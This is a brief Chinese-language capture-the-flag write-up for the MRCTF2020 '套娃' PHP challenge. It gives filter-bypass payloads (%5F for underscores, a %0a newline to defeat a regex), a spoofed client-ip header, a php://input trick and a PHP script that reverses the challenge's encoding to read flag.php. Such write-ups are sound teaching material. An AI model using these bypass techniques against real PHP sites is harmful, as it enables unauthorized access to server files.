MRCTF2020套娃
打開網頁查看源代碼
關於$_SERVER['QUERY_STRING']取值,例如:
http://localhost/aaa/?p=222
$_SERVER['QUERY_STRING'] = "p=222";
substr_count()函數計算子串在字符串中出現的次數
PS:子串區分大小寫
上述代碼不能出現'_'和'%5f',可以用‘ ’或‘.’或‘ %5F’繞過
通過get取得的參數b_u_p_t不等於23333但是正則,匹配需要匹配到23333所以這里用%0a(因為正則匹配中'^'和'$'代表的是行的開頭和結尾,所以能利用換行繞過)繞過
payload:?b%5Fu%5Fp%5Ft=23333%0a
打開secrettw.php查看源碼
復制注釋代碼放進控制台
隨便POST一個Merak值,回顯如下
分析一下代碼
1.需要IP地址為127.0.0.1 在header中加client-ip:127.0.0.1
2.file_get_contents用php偽協議繞過
2333=php://input
post:todat is a happy day
3.change函數的作用,傳入的參數先進行base64解碼,然后將字符轉化成ASCII並且+$i*2
反寫change函數,exp:
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>
得到ZmpdYSZmXGI=
用burp傳入參數得到flag